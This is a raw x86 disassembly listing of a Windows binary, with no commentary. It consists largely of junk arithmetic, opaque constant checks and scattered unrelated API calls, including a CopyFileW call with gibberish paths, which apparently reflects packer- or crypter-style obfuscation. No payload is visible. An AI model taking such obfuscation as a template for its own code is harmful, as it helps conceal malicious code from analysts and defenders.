mov edx, dword [ebp - 0x8b68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
mov dword [ebp - 0x14c80], eax
cmp dword [ebp - 0x14c80], 0
je 0x405f73
cmp dword [ebp - 0x14c80], 0xfde8f9bd
je 0x405e46
jmp 0x510b92
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x12a4c]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c80]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x8bbd]
add edx, eax
movsx ecx, byte [ebp - 0xfc89]
mov eax, dword [ebp - 0x121f0]
movsx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
jl 0x405f6e
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x14c84], edx
cmp dword [ebp - 0x14c84], 0x143dfc86
je 0x405f4d
cmp dword [ebp - 0x14c84], 0x1e27a81b
je 0x405eb7
jmp 0x405f6e
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xa850]
mov dword [ebp - 0x71a8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x67dc], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
mov dword [ebp - 0x14c88], eax
cmp dword [ebp - 0x14c88], 0x680647be
je 0x405ef3
jmp 0x405f25
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x125c9]
sub edx, eax
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x96a4], ecx
jmp 0x405f4b
mov edx, dword [ebp - 0x71a8]
push edx
movzx eax, word [ebp - 0xd434]
push eax
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xf424]
mov ecx, dword [eax]
push ecx
call fcn.005116a0
jmp 0x405f6e
lea edx, [ebp - 0xbd00]
push edx
lea eax, [ebp - 0xfccc]
push eax
lea ecx, [ebp - 0x54c8]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0x2d30], eax
jmp 0x510b92
mov edx, dword [ebp - 0xbd00]
movsx eax, word [edx]
mov dword [ebp - 0x14c8c], eax
cmp dword [ebp - 0x14c8c], 0
je 0x405fa0
cmp dword [ebp - 0x14c8c], 0x15b9
je 0x510ae0
jmp 0x510b51
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
mov dword [ebp - 0xd4bc], edx
cmp dword [ebp - 0x6c4c], 0xc3a8
jb 0x406128
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [ebp - 0xad30]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x10df0], edx
movsx eax, byte [ebp - 0xb7e]
movsx ecx, byte [ebp - 0x8bbd]
sub eax, ecx
mov byte [0x51ce07], al
movsx edx, word [ebp - 0x24c4]
movsx eax, word [ebp - 0xcc5c]
sub edx, eax
mov word [ebp - 0x84e8], dx
movzx ecx, word [ebp - 0x119a8]
movzx edx, word [ebp - 0x1814]
add ecx, edx
mov word [ebp - 0xe6fc], cx
movzx eax, byte [ebp - 0x3b89]
movzx ecx, byte [ebp - 0x125c9]
and eax, ecx
mov edx, dword [ebp - 0x8b68]
mov byte [edx], al
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x12a4c]
mov edx, dword [ebp - 0xf424]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
sub ecx, dword [section..data]
mov dword [ebp - 0x71a8], ecx
movzx edx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x8b68]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x308c]
mov byte [eax], dl
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4888]
mov word [ecx], dx
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
xor eax, dword [ebp - 0x67dc]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa850]
sar eax, cl
mov dword [section..data], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ecx]
or edx, dword [ebp - 0x71a8]
mov dword [ebp - 0x13718], edx
mov eax, dword [ebp - 0x6c4c]
sub eax, 0xd6
mov dword [ebp - 0x6c4c], eax
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ecx]
and edx, dword [ebp - 0x115a4]
mov dword [ebp - 0x8850], edx
movzx eax, word [ebp - 0x119a8]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1814], ax
jmp 0x405fae
mov eax, dword [ebp - 0x4134]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3b89]
sub ecx, edx
mov eax, dword [ebp - 0x9ac4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x10df0]
add ecx, dword [ebp - 0xa850]
mov dword [ebp - 0x71a8], ecx
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
add eax, dword [ebp - 0x13718]
mov dword [ebp - 0xa850], eax
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x8bbd]
add edx, eax
mov ecx, dword [ebp - 0x4c80]
mov byte [ecx], dl
mov edx, dword [ebp - 0x49b0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x84e8], ax
movzx eax, byte [ebp - 0xb3c1]
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x51c7c4]
mov byte [ecx], al
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [0x51d910]
sub eax, ecx
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0x96a4]
or eax, dword [ebp - 0x67dc]
mov dword [ebp - 0xf22c], eax
mov ecx, dword [ebp - 0x27f0]
sub ecx, 0xbe
mov dword [ebp - 0x27f0], ecx
mov edx, dword [ebp - 0xf424]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xd4bc]
shr eax, cl
mov dword [ebp - 0x8850], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x6974]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xa850]
shl edx, cl
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xad30]
add edx, dword [eax]
mov dword [ebp - 0x10df0], edx
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xd434]
and edx, eax
mov word [ebp - 0x119a8], dx
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xb3c1], dl
mov edx, dword [ebp - 0xf22c]
sub edx, dword [ebp - 0x8850]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x125c9]
sub edx, eax
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
mov edx, dword [section..data]
add edx, dword [ebp - 0x10df0]
mov dword [ebp - 0xa850], edx
cmp dword [ebp - 0x27f0], 0x4642
ja 0x406142
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8850]
mov dword [ebp - 0x67dc], ecx
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x119a8]
sub eax, ecx
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x8b68]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x308c]
mov byte [edx], cl
movsx eax, byte [ebp - 0xfc89]
mov ecx, dword [ebp - 0x4c80]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x8bbd], al
movsx eax, word [0x51b004]
movsx ecx, word [ebp - 0x24c4]
shl eax, cl
mov word [ebp - 0x84e8], ax
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0xedd4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13718]
or edx, dword [section..data]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xd434]
sar edx, cl
mov word [0x51d910], dx
mov eax, dword [ebp - 0x8b68]
movzx ecx, byte [eax]
movzx edx, byte [0x51b006]
sub ecx, edx
mov eax, dword [ebp - 0x8b68]
mov byte [eax], cl
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [ebp - 0xa850]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0xf424]
mov ecx, dword [ebp - 0x12a4c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x8c8c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [section..data]
add ecx, dword [eax]
mov dword [ebp - 0xa850], ecx
mov edx, dword [ebp - 0x10df0]
sub edx, dword [ebp - 0xa850]
mov dword [ebp - 0x13718], edx
movzx eax, word [ebp - 0x119a8]
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xe6fc], ax
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3b89], al
mov eax, dword [ebp - 0x96a4]
sub eax, dword [ebp - 0x8850]
mov dword [ebp - 0x67dc], eax
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x125c9]
add edx, eax
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0xa850]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
add eax, dword [ecx]
mov dword [ebp - 0xa850], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x10df0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49b0]
movsx eax, word [edx]
movsx ecx, word [0x51b004]
sar eax, cl
mov word [ebp - 0x84e8], ax
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4c80]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x121f0]
mov byte [eax], dl
movzx ecx, byte [ebp - 0xb3c1]
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x8b68]
mov byte [edx], cl
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
and ecx, edx
mov eax, dword [ebp - 0x4888]
mov word [eax], cx
mov ecx, dword [ebp - 0x12a4c]
sub ecx, dword [ebp - 0x8850]
mov dword [ebp - 0xd4bc], ecx
mov edx, dword [ebp - 0x10e84]
sub edx, 0x89
mov dword [ebp - 0x10e84], edx
movzx eax, byte [ebp - 0xb3c1]
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x51c7c4]
mov byte [ecx], al
movzx edx, byte [ebp - 0xb3c1]
movzx eax, byte [ebp - 0x3b89]
and edx, eax
mov ecx, dword [ebp - 0x4134]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1814]
movzx eax, word [ebp - 0x119a8]
sub edx, eax
mov word [ebp - 0xe6fc], dx
mov ecx, dword [section..data]
add ecx, dword [ebp - 0x71a8]
mov dword [ebp - 0x10df0], ecx
mov edx, dword [ebp - 0xf424]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
add eax, dword [ecx]
mov dword [ebp - 0x67dc], eax
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
sub eax, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xad30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x6974]
mov dword [edx], eax
mov eax, dword [ebp - 0x8b68]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x4134]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x8b68]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xd434], ax
cmp dword [ebp - 0x10e84], 0xc925
ja 0x4062d3
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x71a8]
mov dword [0x51b008], ecx
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ebp - 0xf424]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [ebp - 0xedd4]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jae 0x40677d
movsx ecx, byte [ebp - 0xb7e]
mov edx, dword [ebp - 0x121f0]
movsx eax, byte [edx]
sub ecx, eax
movsx edx, byte [ebp - 0xfc89]
movsx eax, byte [ebp - 0x8bbd]
sub edx, eax
cmp ecx, edx
jg 0x40672b
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
mov dword [ebp - 0x14c90], edx
cmp dword [ebp - 0x14c90], 0x1183
je 0x4066a5
cmp dword [ebp - 0x14c90], 0x6063
je 0x406702
jmp 0x406729
mov eax, dword [ebp - 0xd4bc]
and eax, dword [ebp - 0x12a4c]
mov dword [ebp - 0xf22c], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], edx
movsx edx, word [ebp - 0xcc5c]
movsx eax, word [ebp - 0x84e8]
add edx, eax
mov word [ebp - 0x24c4], dx
lea ecx, [ebp - 0x3e58]
push ecx
lea edx, [ebp - 0x12548]
push edx
call dword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [ebp - 0x3cc4], eax
jmp 0x406729
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0xf424]
mov ecx, dword [ecx]
call fcn.00511530
jmp 0x40677d
mov edx, dword [ebp - 0x4c80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x121f0]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xf26c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xb7e]
sub edx, ecx
cmp eax, edx
je 0x40677d
movsx edx, byte [ebp - 0x8bbd]
movsx eax, byte [ebp - 0xb7e]
add edx, eax
mov ecx, dword [ebp - 0xf26c]
mov byte [ecx], dl
push 0x18
push 0x3d
call dword [sym.imp.ole32.dll_CoCancelCall]
mov dword [ebp - 0x31bc], eax
lea edx, [ebp - 0x119a8]
mov dword [ebp - 0x58f8], edx
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [ebp - 0xbe4c]
add edx, 0x70
mov dword [ebp - 0xbe4c], edx
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x67dc]
mov edx, dword [ebp - 0xd1e4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x10df0]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd4bc]
xor edx, dword [ebp - 0x8850]
mov dword [ebp - 0xf22c], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0xad30]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x71a8], edx
movzx eax, byte [0x51b006]
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3b89], al
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x58f8]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xd348]
mov word [edx], cx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0xa850]
add ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x115a4], edx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [ebp - 0x71a8]
sub ecx, dword [eax]
mov dword [ebp - 0x10df0], ecx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x10df0]
and eax, dword [edx]
mov dword [ebp - 0x13718], eax
movzx ecx, word [ebp - 0x119a8]
movzx edx, word [ebp - 0xe6fc]
sub ecx, edx
mov word [0x51d910], cx
movzx eax, byte [0x51b006]
movzx ecx, byte [ebp - 0x125c9]
sub eax, ecx
mov byte [ebp - 0xb3c1], al
movsx edx, byte [ebp - 0xb7e]
movsx eax, byte [ebp - 0x8bbd]
add edx, eax
mov ecx, dword [ebp - 0xf26c]
mov byte [ecx], dl
movsx edx, word [ebp - 0x24c4]
movsx eax, word [ebp - 0xcc5c]
xor edx, eax
mov word [ebp - 0x84e8], dx
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x115a4]
shr edx, cl
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x13718]
or edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [0x51c7c4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x125c9], dl
movzx ecx, word [ebp - 0x119a8]
mov edx, dword [ebp - 0x58f8]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0xd434], cx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0xf22c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xb3c1]
movzx edx, byte [ebp - 0x125c9]
sub ecx, edx
mov eax, dword [0x51c7c4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
add edx, dword [0x51b008]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0xf424]
mov ecx, dword [ebp - 0xd4bc]
add ecx, dword [eax]
mov edx, dword [ebp - 0xd1e4]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x119a8]
add ecx, edx
mov eax, dword [ebp - 0x2548]
mov word [eax], cx
mov ecx, dword [0x51c7c4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x125c9]
add edx, eax
mov byte [ebp - 0xb3c1], dl
mov ecx, dword [ebp - 0x13718]
and ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [ebp - 0xa850]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0xf22c]
mov ecx, dword [ebp - 0x115a4]
shr eax, cl
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0xad30]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8b68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x51c7c4]
mov byte [edx], cl
movsx eax, word [ebp - 0xcc5c]
movsx ecx, word [ebp - 0x84e8]
shl eax, cl
mov word [ebp - 0x24c4], ax
movsx ecx, byte [0x51ce07]
mov edx, dword [ebp - 0xf26c]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xfc89], cl
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x2548]
mov word [eax], dx
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
movzx eax, byte [0x51b006]
sub edx, eax
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], dl
mov edx, dword [ebp - 0xf424]
mov eax, dword [ebp - 0xf22c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
cmp dword [ebp - 0xbe4c], 0x8194
jb 0x406789
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
mov dword [ebp - 0x14c94], eax
cmp dword [ebp - 0x14c94], 0x4df
je 0x406b20
cmp dword [ebp - 0x14c94], 0xe94
je 0x406b34
jmp 0x406ba0
mov ecx, dword [ebp - 0xa850]
sub ecx, dword [ebp - 0x10df0]
mov dword [ebp - 0x71a8], ecx
jmp 0x406ba0
mov edx, dword [ebp - 0x10df0]
mov dword [ebp - 0x14c98], edx
cmp dword [ebp - 0x14c98], 0x1cbc98ab
je 0x406b4e
jmp 0x406b85
movzx eax, byte [ebp - 0x125c9]
movzx ecx, byte [ebp - 0xb3c1]
sub eax, ecx
mov edx, dword [ebp - 0x8b68]
mov byte [edx], al
push 1
push str.C:Reckless_tramcarsMinced_turbancombatant
push str.C:calibreTooted
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0xdc88], eax
call fcn.00511170
jmp 0x406ba0
movzx eax, word [ebp - 0xe6fc]
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4888]
mov word [ecx], ax
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [edx]
mov dword [ebp - 0x14c9c], eax
cmp dword [ebp - 0x14c9c], 0
je 0x406bbc
jmp 0x510948
mov ecx, dword [ebp - 0xa850]
add ecx, dword [0x51b008]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10df0]
add eax, dword [ebp - 0x71a8]
mov dword [ebp - 0xa850], eax
lea ecx, [ebp - 0xfc89]
mov dword [ebp - 0x4e3c], ecx
lea edx, [ebp - 0x24c4]
mov dword [0x51de40], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xad30]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x71a8]
cmp edx, ecx
jge 0x406cf0
mov edx, dword [ebp - 0xf22c]
mov dword [ebp - 0x14ca0], edx
cmp dword [ebp - 0x14ca0], 0x9ad5ef4a
je 0x406c3a
jmp 0x406c57
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xcc5c]
sub ecx, edx
mov eax, dword [ebp - 0xbd00]
mov word [eax], cx
jmp 0x406cc3
movzx ecx, byte [ebp - 0x125c9]
movzx edx, byte [ebp - 0x3b89]
add ecx, edx
mov byte [ebp - 0xb3c1], cl
movzx eax, word [ebp - 0x119a8]
mov ecx, dword [ebp - 0x58f8]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xd4bc]
mov dword [ebp - 0x12a4c], ecx
lea edx, [ebp - 0x4c80]
push edx
lea eax, [ebp - 0x126f8]
push eax
lea ecx, [ebp - 0xedd4]
push ecx
lea edx, [ebp - 0x3954]
push edx
call sub.ole32.dll_CoGetInterceptor
mov dword [ebp - 0x117d0], eax
mov eax, dword [ebp - 0x10df0]
push eax
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
push eax
call fcn.005116a0
jmp 0x406e5b
movzx ecx, word [ebp - 0xe6fc]
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
sub ecx, eax
movzx edx, word [ebp - 0xd434]
movzx eax, word [ebp - 0x1814]
add edx, eax
cmp ecx, edx
je 0x406e5b
movzx edx, word [ebp - 0x119a8]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4888]
movzx eax, word [ecx]
movzx ecx, word [0x51d910]
xor eax, ecx
cmp edx, eax
jge 0x406e1d
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
mov dword [ebp - 0x14ca4], eax
cmp dword [ebp - 0x14ca4], 0x4e7be112
je 0x406d75
cmp dword [ebp - 0x14ca4], 0x5ee83adb
je 0x406df7
jmp 0x406e1b
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xedd4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], edx
push 0x1b
lea edx, [ebp - 0x7c88]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov dword [ebp - 0x11ecc], eax
mov eax, dword [ebp - 0x10df0]
and eax, dword [ebp - 0x71a8]
mov dword [ebp - 0xa850], eax
mov ecx, dword [ebp - 0x10df0]
sub ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
lea eax, [ebp - 0x21d4]
push eax
lea ecx, [ebp - 0x14e8]
push ecx
push 0x82
lea edx, [ebp - 0x1d64]
push edx
mov eax, dword [ebp - 0xc42c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
mov dword [ebp - 0x2d30], eax
jmp 0x406e1b
movzx ecx, word [ebp - 0xcc5c]
push ecx
movzx edx, word [ebp - 0x119a8]
push edx
mov eax, dword [ebp - 0xbd00]
mov dx, word [eax]
mov ecx, dword [ebp - 0xd4bc]
call fcn.00511530
jmp 0x406e5b
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1814]
and edx, eax
movzx ecx, word [ebp - 0x119a8]
mov eax, dword [ebp - 0x2548]
movzx eax, word [eax]
add ecx, eax
cmp edx, ecx
jne 0x406e5b
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
cmp dword [ebp - 0x2958], 0x119f6
je 0x406f88
movzx ecx, byte [ebp - 0x125c9]
movzx edx, byte [0x51b006]
sub ecx, edx
mov eax, dword [ebp - 0x4134]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1814]
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
sub ecx, eax
mov word [0x51d910], cx
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0x115a4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xd1e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x10df0]
xor edx, dword [ecx]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0x6974]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xa850]
sar edx, cl
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x115a4]
shl edx, cl
mov dword [ebp - 0xf22c], edx
mov eax, dword [ebp - 0x4134]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x125c9], cl
movzx ecx, word [ebp - 0xd434]
movzx edx, word [0x51d910]
and ecx, edx
mov word [ebp - 0x1814], cx
